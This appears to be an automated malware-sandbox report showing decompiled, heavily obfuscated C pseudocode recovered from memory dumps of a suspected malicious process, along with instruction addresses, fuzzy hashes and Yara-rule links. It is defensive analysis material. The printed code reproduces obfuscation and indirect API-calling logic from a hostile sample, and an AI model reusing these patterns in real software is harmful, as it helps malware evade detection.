							if( *(_t172 + 0x4184ef) == 0) {
								 *_t260 =  *(_t172 + 0x418127);
								_t221 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182f7);
								_t260[1] =  *(_t172 + 0x4185f7);
								_t250 = _t236;
								_t252 =  *_t260;
								 *_t260 =  *(_t172 + 0x41827f);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
								_t236 = _t252;
							}
							 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
							_t178 =  *(_t255 - 0x10);
							if( *(_t172 + 0x418334) == 0) {
								 *_t260 =  *_t260 ^ _t172;
								 *_t260 =  *_t260 + _t178;
								_t193 =  *_t260;
								 *_t260 =  *(_t172 + 0x41838d);
								_t260[1] =  *(_t172 + 0x4185af);
								_t221 = _t221;
								_t255 =  *_t260;
								 *_t260 =  *(_t172 + 0x418410);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
								 *(_t255 - 0x10) = _t193;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
								_t178 = _t255;
							}
							_t179 = _t178 +  *(_t255 + 8);
							if( *(_t172 + 0x418474) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t179;
								_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
								_t197 = _t197;
								_t179 = _t197;
							}
							_t237 = _t236 +  *(_t255 + 8);
							if( *(_t172 + 0x418020) == 0) {
								 *_t260 =  *_t260 - _t159;
								 *_t260 = _t179;
								 *_t260 =  *(_t172 + 0x418493);
								_t197 =  *_t260;
								 *_t260 =  *(_t172 + 0x418507);
								 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
								 *_t260 =  *_t260 + _t172;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 ^ _t172;
								_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
								_t221 =  *(_t255 - 0x10);
								_t179 = _t197;
							}
							 *_t260 = _t179;
							_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
							 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
							 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
							_t172 = _t172;
							goto L24;
						} else {
							_push(_t237);
							return _t153 ^ _t153;
						}
					}
				}
			}

0x024c247b
0x024c247b
0x024c247b
0x024c2480
0x024c2483
0x024c248a
0x024c2490
0x024c2496
0x024c2496
0x024c2498
0x024c249f
0x024c24a1
0x024c24a9
0x024c24b3
0x024c24bf
0x024c24bf
0x024c24c9
0x024c24c9
0x024c24cc
0x024c24d2
0x024c24da
0x024c24e1
0x024c24e7
0x024c24e7
0x024c24ea
0x024c24ea
0x024c24ee
0x024c24ee
0x024c24f8
0x024c24fa
0x024c2502
0x024c2509
0x024c250f
0x024c250f
0x024c2510
0x024c251a
0x024c251c
0x024c2524
0x024c252b
0x024c2531
0x024c2531
0x024c253c
0x024c253e
0x024c2546
0x024c2549
0x024c254d
0x024c2550
0x024c2556
0x024c255d
0x024c2563
0x024c2566
0x024c2566
0x024c2567
0x024c2571
0x024c257a
0x024c2584
0x024c2584
0x024c258f
0x024c2593
0x024c259b
0x024c259b
0x024c259f
0x024c25ab
0x024c25b2
0x024c25b8
0x024c25b8
0x024c25bc
0x024c25c2
0x024c25ca
0x024c25cd
0x024c25d0
0x024c25da
0x024c25da
0x024c25e5
0x024c25e9
0x024c25f1
0x024c25f1
0x024c25f4
0x024c25fa
0x024c2602
0x024c2609
0x024c2612
0x024c2612
0x024c2613
0x024c261d
0x024c2620
0x024c2624
0x024c2627
0x024c2633
0x024c263a
0x024c2640
0x024c2641
0x024c2641
0x024c2642
0x024c264c
0x024c264f
0x024c2652
0x024c265c
0x024c2666
0x024c2666
0x024c2669
0x024c2670
0x024c2674
0x024c2678
0x024c267b
0x024c2681
0x024c2689
0x024c2690
0x024c2696
0x024c2699
0x024c2699
0x024c269d
0x024c26a0
0x024c26ac
0x024c26b0
0x024c26b3
0x024c26b4
0x024c26b4
0x024c26ba
0x024c26f3
0x024c26f7
0x024c26f8
0x024c26fb
0x024c26bc
0x024c26bc
0x024c26c3
0x024c26c6
0x024c26d9
0x024c26da
0x024c26e2
0x024c26e6
0x024c26e9
0x024c26ec
0x024c26ec
0x024c2705
0x024c270b
0x024c2711
0x024c2715
0x024c2716
0x024c2724
0x024c2728
0x024c272b
0x024c272e
0x024c2734
0x024c2737
0x024c2744
0x024c2746
0x024c2747
0x024c274f
0x024c2752
0x024c2754
0x024c2757
0x024c2759
0x024c2760
0x024c2761
0x024c2763
0x024c2766
0x024c2778
0x024c277a
0x024c277e
0x024c23f3
0x00000000
0x00000000
0x024c2400
0x024c2402
0x024c2408
0x024c240f
0x024c2415
0x024c2415
0x024c2418
0x024c2424
0x024c2426
0x024c2430
0x024c243a
0x024c243e
0x024c2440
0x024c2444
0x024c244f
0x024c2453
0x024c245b
0x024c245b
0x024c245e
0x024c246a
0x024c2471
0x024c2477
0x024c2477
0x024c24ea
0x024c24ee
0x024c24ee
0x024c24f8
0x024c24fa
0x024c2502
0x024c2509
0x024c250f
0x024c250f
0x024c2510
0x024c251a
0x024c251c
0x024c2524
0x024c252b
0x024c2531
0x024c2531
0x024c253c
0x024c253e
0x024c2546
0x024c2549
0x024c254d
0x024c2550
0x024c2556
0x024c255d
0x024c2563
0x024c2566
0x024c2566
0x024c2567
0x024c2571
0x024c257a
0x024c2584
0x024c2584
0x024c258f
0x024c2593
0x024c259b
0x024c259b
0x024c259f
0x024c25ab
0x024c25b2
0x024c25b8
0x024c25b8
0x024c25bc
0x024c25c2
0x024c25ca
0x024c25cd
0x024c25d0
0x024c25da
0x024c25da
0x024c25e5
0x024c25e9
0x024c25f1
0x024c25f1
0x024c25f4
0x024c25fa
0x024c2602
0x024c2609
0x024c2612
0x024c2612
0x024c2613
0x024c261d
0x024c2620
0x024c2624
0x024c2627
0x024c2633
0x024c263a
0x024c2640
0x024c2641
0x024c2641
0x024c2642
0x024c264c
0x024c264f
0x024c2652
0x024c265c
0x024c2666
0x024c2666
0x024c2669
0x024c2670
0x024c2674
0x024c2678
0x024c267b
0x024c2681
0x024c2689
0x024c2690
0x024c2696
0x024c2699
0x024c2699
0x024c269d
0x024c26a0
0x024c26ac
0x024c26b0
0x024c26b3
0x00000000
0x024c278e
0x024c278e
0x024c2799
0x024c2799
0x024c277e
0x024c24ea

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction ID: 51baa2bfe3dba2ed5628c3729b618d87309f08d49c4e7a0f686bcaa86665a1e4
Opcode Fuzzy Hash: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction Fuzzy Hash: 05B1AD32900215DFEB14DF64C8897AEBBF5FF84725F19886EDC889B245DBB81450CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 024C6424, Relevance: .2, Instructions: 241
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E024C6424(signed int __ebx, signed int __ecx, signed int __edi, signed int __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _t116;
				signed int _t118;
				signed int _t119;
				signed int _t123;
				signed int _t125;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t133;
				signed int _t136;
				intOrPtr _t139;
				signed int _t140;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				void* _t146;
				signed int _t147;
				void* _t150;
				signed int _t152;
				signed int _t153;
				signed int _t159;
				signed int _t162;
				signed int _t174;
				signed int _t180;
				signed int _t183;
				void* _t188;
				signed int* _t194;
				signed int _t197;
				void* _t200;
				signed int* _t207;
				signed int* _t208;
				signed int* _t210;

				_t183 = __esi;
				_t167 = __edi;
				_t147 = __ecx;
				_t143 = __ebx;
				_t194 = _t207;
				_t208 =  &(_t207[0xfffffffffffffffe]);
				if( *(__ebx + 0x41863f) == 0) {
					_push(__edi);
					 *_t208 =  *(__ebx + 0x418267);
					_push(__ecx);
					_push( *_t208);
					_v20 =  *((intOrPtr*)(__ebx + 0x4180fb));
					_pop(_t180);
					_push(_v12);
					 *_t208 = _t208;
					_t142 =  *((intOrPtr*)(__ebx + 0x45d03c))();
					_v8 = _t180;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) & 0x00000000;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) | _t180 ^ _v8 | _t142;
					_t167 = _v8;
				}
				 *_t208 =  *_t208 & 0x00000000;
				 *_t208 =  *_t208 ^ _t183;
				_t15 = _t143 + 0x418344; // 0x418344
				_v8 = _v8 & 0x00000000;
				_v20 = _v20 + _t15;
				_t116 =  *((intOrPtr*)(_t143 + 0x45d018))(_v8, _t147);
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) & 0x00000000;
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) | _t159 & 0x00000000 | _t116;
				_t162 = _t159;
				_t118 = _t116 & 0x00000000 ^ (_t143 & 0x00000000 | _a4);
				_t146 = _t143;
				if( *(_t146 + 0x4183ac) == 0) {
					 *_t208 =  *_t208 - _t146;
					 *_t208 = _t118;
					_v28 =  *((intOrPtr*)(_t146 + 0x4184c7));
					_t174 = _t167;
					_v32 =  *((intOrPtr*)(_t146 + 0x418464));
					_t162 = _t162;
					_v36 =  *((intOrPtr*)(_t146 + 0x4180db));
					_t194 = _t194;
					_t141 =  *((intOrPtr*)(_t146 + 0x45d040))(_t183, _t162, _t146);
					 *_t208 = _t174;
					 *(_t146 + 0x4183ac) = 0 ^ _t141;
					_t167 = 0;
					_t118 = _t183;
				}
				_t119 = _t118 - 1;
				if( *(_t146 + 0x4180ef) == 0) {
					_v8 = 0;
					 *_t208 =  *_t208 ^ _t119;
					_t140 =  *((intOrPtr*)(_t146 + 0x45d01c))(_v8);
					_v12 = _t167;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) & 0x00000000;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) ^ (_t167 & 0x00000000 | _t140);
					_t167 = _v12;
					_pop(_t119);
				}
				if(_t119 > 0) {
					if(_a12 != 0) {
						if( *(_t146 + 0x418324) == 0) {
							_v12 = _v12 & 0x00000000;
							 *_t208 =  *_t208 | _t119;
							_v28 =  *((intOrPtr*)(_t146 + 0x41861b));
							_t197 = _t194;
							_t147 = _v32;
							_v32 =  *((intOrPtr*)(_t146 + 0x4185bf));
							_v36 =  *((intOrPtr*)(_t146 + 0x4185c3));
							_t129 =  *((intOrPtr*)(_t146 + 0x45d040))(_t147, _t194, _v12);
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) & 0x00000000;
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) | _t197 & 0x00000000 | _t129;
							_t194 = _t197;
							_t119 = _t119;
						}
						_t123 = _t119;
						 *_t208 = _t123;
						_v28 = _v28 & 0x00000000;
						_v28 = _v28 ^ (_t147 & 0x00000000 | _t119 -  *_t208 | _a12);
						_t99 = _t146 + 0x41821f; // 0x8302c6
						_v8 = 0;
						_v32 = _v32 | _t99;
						_t125 =  *((intOrPtr*)(_t146 + 0x45d018))(_v8, _v12);
						_v12 = _t167;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) & 0x00000000;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) | _t167 ^ _v12 ^ _t125;
						_pop(_t150);
						_t126 = _t194;
						_v28 = _v28 ^ _t150 + _t126;
						_t152 = _t146;
						_t153 = _t152 & _a8;
						_t183 = _t183 + _t153;
						_v28 = _v28 - _t146;
						_v28 = _t183;
						_v32 = _t153;
						_v12 = _v12 & 0x00000000;
						_v36 = _v36 | _t126;
						_t119 = E024C6424(_t146, _t153, _v12, _t183, _v12, _v8, _t146);
					}
					_push(_t183);
					return _t119 ^ _t119;
				} else {
					if( *((intOrPtr*)(_t146 + 0x41805b)) == 0) {
						 *_t208 =  *_t208 - _t194;
						 *_t208 =  *_t208 ^ _t119;
						_v12 = _v12 & 0x00000000;
						_v28 = _v28 | _t119;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183d0));
						_v36 =  *((intOrPtr*)(_t146 + 0x4182cb));
						_v8 = _v8 & 0x00000000;
						 *_t208 =  *_t208 | _v36;
						_t139 =  *((intOrPtr*)(_t146 + 0x45d044))(_v8, _t183, _t119, _v12, _t194);
						 *_t208 = _t147;
						 *((intOrPtr*)(_t146 + 0x41805b)) = _t139;
						_t147 = 0;
						_pop(_t119);
					}
					_pop(_t188);
					if( *(_t146 + 0x41822b) == 0) {
						_v20 = _v20 - _t147;
						_v20 = _v20 ^ _t119;
						_v28 =  *((intOrPtr*)(_t146 + 0x418647));
						_t162 = _v32;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183e0));
						_v36 =  *(_t146 + 0x418307);
						 *_t208 =  *(_t146 + 0x41842c);
						_t136 =  *((intOrPtr*)(_t146 + 0x45d048))(_t188, _t147, _t162, _t119, _t147, 0, _t147);
						 *_t208 = _t194;
						 *(_t146 + 0x41822b) = 0 ^ _t136;
						_t194 = 0;
						_t119 = _t147;
					}
					_t210 = _t194;
					_pop(_t200);
					if( *(_t146 + 0x418552) == 0) {
						 *_t210 =  *_t210 & 0x00000000;
						 *_t210 =  *_t210 + _t119;
						_v20 =  *(_t146 + 0x4181fb);
						_v12 = _v12 & 0x00000000;
						 *_t210 = _t210 +  *_t210;
						_v28 =  *(_t146 + 0x418643);
						_t132 =  *((intOrPtr*)(_t146 + 0x45d03c))(_t162, _t162, _v12, _t119, _t162);
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) & 0x00000000;
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) | _t200 - _v32 ^ _t132;
						_t133 = _t200;
						return _t133;
					}
					return _t119;
				}
			}

0x024c6424
0x024c6424
0x024c6424
0x024c6424
0x024c6425
0x024c6427
0x024c6431
0x024c6433
0x024c643a
0x024c643d
0x024c643e
0x024c6445
0x024c6449
0x024c644a
0x024c644d
0x024c6450
0x024c6456
0x024c645e
0x024c6465
0x024c646b
0x024c646b
0x024c646f
0x024c6473
0x024c6476
0x024c647c
0x024c6483
0x024c6486
0x024c6492
0x024c6499
0x024c649f
0x024c64aa
0x024c64ac
0x024c64b4
0x024c64b7
0x024c64ba
0x024c64c5
0x024c64c9
0x024c64d2
0x024c64d6
0x024c64df
0x024c64e3
0x024c64e4
0x024c64ec
0x024c64f3
0x024c64f9
0x024c64fa
0x024c64fa
0x024c64fb
0x024c6503
0x024c6505
0x024c650f
0x024c6512
0x024c6518
0x024c6520
0x024c6527
0x024c652d
0x024c6530
0x024c6530
0x024c6534
0x024c667d
0x024c668a
0x024c668c
0x024c6693
0x024c669e
0x024c66a2
0x024c66aa
0x024c66aa
0x024c66b4
0x024c66b7
0x024c66c3
0x024c66ca
0x024c66d0
0x024c66d1
0x024c66d1
0x024c66de
0x024c66e2
0x024c66e6
0x024c66ea
0x024c66ed
0x024c66f3
0x024c66fd
0x024c6700
0x024c6706
0x024c670e
0x024c6715
0x024c671e
0x024c671f
0x024c6723
0x024c6726
0x024c6727
0x024c672a
0x024c672d
0x024c6730
0x024c6736
0x024c6739
0x024c6740
0x024c6743
0x024c6743
0x024c6748
0x024c6752
0x024c653a
0x024c6541
0x024c6544
0x024c6547
0x024c654a
0x024c6551
0x024c655b
0x024c6565
0x024c6568
0x024c656f
0x024c6572
0x024c657a
0x024c6581
0x024c6587
0x024c6588
0x024c6588
0x024c6589
0x024c6591
0x024c6594
0x024c6597
0x024c65a4
0x024c65b0
0x024c65b0
0x024c65bb
0x024c65c7
0x024c65ca
0x024c65d2
0x024c65d9
0x024c65df
0x024c65e0
0x024c65e0
0x024c65e1
0x024c65e1
0x024c65e9
0x024c65ec
0x024c65f0
0x024c65fa
0x024c65fd
0x024c6604
0x024c660f
0x024c6614
0x024c6620
0x024c6627
0x024c662e
0x00000000
0x024c662e
0x024c662f
0x024c662f

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction ID: d53e6f5366b18901b31a2f7c22c001ce4dbeaf3763141ebe05b2c3cff1b8e2d6
Opcode Fuzzy Hash: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction Fuzzy Hash: F6A18072804608EFEB049F64C8897AEBBF8FF84725F1584AEEC88DA145DB741550CF69

Uniqueness

Uniqueness Score: -1.00%

Function 024C5AF6, Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction ID: 56094a3b096722c129c638a975d215ae79d135880bb18ea18565c44ab06c455e
Opcode Fuzzy Hash: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction Fuzzy Hash: 9A516172E18504AFEB088FA9D9467ADF7F5EFC4320F26C16ED491A7280DB782941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 024C2DF5, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction ID: 0addb4fd1fa31a3f4bbb065f51c312aca30b1c7e22d8570b82e1a8f9f2bc9120
Opcode Fuzzy Hash: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction Fuzzy Hash: 0D41AD77A146049FEB00CF69D98179EBBF1EBC4324F26847EC984E7240CB74A9428B64

Uniqueness

Uniqueness Score: -1.00%

Function 024C1374, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction ID: 49bfb0f7ee3043aefbfd2760c489dde3732079d512c155db62daf3272d09bc50
Opcode Fuzzy Hash: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction Fuzzy Hash: A141A272810A05EAEB008F78CD493CA3B71EF41334F2587ADAD389A1E5C77987559754

Uniqueness

Uniqueness Score: -1.00%

Function 024C596E, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction ID: 0d80592ddd972cb7d4d5887f027f14b5c4fa95aa54d016d1166632e37b090c20
Opcode Fuzzy Hash: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction Fuzzy Hash: 7C417E72410608AFEF448F29C88479A3B61FF44330F29C36EEC298E1D6CB7595618F54

Uniqueness

Uniqueness Score: -1.00%

Function 024C3314, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction ID: abab33ba0b614bec4791e61791204eefb1a7e04ff0c8b6a0e929ef34b07cf001
Opcode Fuzzy Hash: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction Fuzzy Hash: D8412A72814A08EFEB05CF65C48939A3B71FF40325F24C2AEEC699E1D5CB7893519B54

Uniqueness

Uniqueness Score: -1.00%

Function 024C3BDB, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction ID: 7db99a1fdb5d7204f1858ec6fa65b083b037253722df596ba9369fdb60975777
Opcode Fuzzy Hash: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction Fuzzy Hash: 57416872D11A08ABEB44CF68CAD53DE7B70EF44720F18839EDC39991D5DB3A42508B94

Uniqueness

Uniqueness Score: -1.00%

Function 024C5C76, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction ID: fc77cdf77939f60e724ea37e5569fee1ec8a11b2aeaa91d388cd7114962acfb8
Opcode Fuzzy Hash: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction Fuzzy Hash: 32316972C10A19ABEB448E79C9493DE7B30EF40330F24C36DAC75AA1D0DB7886528F94

Uniqueness

Uniqueness Score: -1.00%

Function 024C28EB, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction ID: a07815f818b90ae6f1e541ad1b8e4c088330ee1b88dee200235d078110799f9d
Opcode Fuzzy Hash: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction Fuzzy Hash: AE315E72910608DBEB14CF68C9453DD7771FF40330F2983AADC259A1D5C77A8B519B94

Uniqueness

Uniqueness Score: -1.00%

Function 024C554B, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction ID: 7e80e9a4f80721d482ce4b3a4aa523ff0e3198dff93ee1e2e5bec0c0f5b54bed
Opcode Fuzzy Hash: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction Fuzzy Hash: 0F31C832C10A05ABEF04CF39C9893DA3761EF84370F14836EAC299D1D6D7B446529B94

Uniqueness

Uniqueness Score: -1.00%

Function 024C52EC, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction ID: d2ffc037adb583d78892de6e9389dad3e33764be64bf0ab05cb2c52e693f71d2
Opcode Fuzzy Hash: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction Fuzzy Hash: E5314F72810604ABFB448F39CA497DA3770EF40336F28C36EAC385D1D5CBB856619B58

Uniqueness

Uniqueness Score: -1.00%

Function 00A1B11C, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00A1B11C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E00A1B287(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E00A1B341(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E00A1B22C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E00A1B287(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E00A1B323(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x00a1b120
0x00a1b121
0x00a1b122
0x00a1b125
0x00a1b127
0x00a1b12a
0x00a1b12b
0x00a1b12d
0x00a1b12e
0x00a1b12f
0x00a1b132
0x00a1b13c
0x00a1b1ed
0x00a1b1f4
0x00a1b1fd
0x00a1b142
0x00a1b142
0x00a1b148
0x00a1b14e
0x00a1b151
0x00a1b154
0x00a1b158
0x00a1b15d
0x00a1b162
0x00a1b1e2
0x00000000
0x00a1b164
0x00a1b164
0x00a1b170
0x00a1b172
0x00a1b1cd
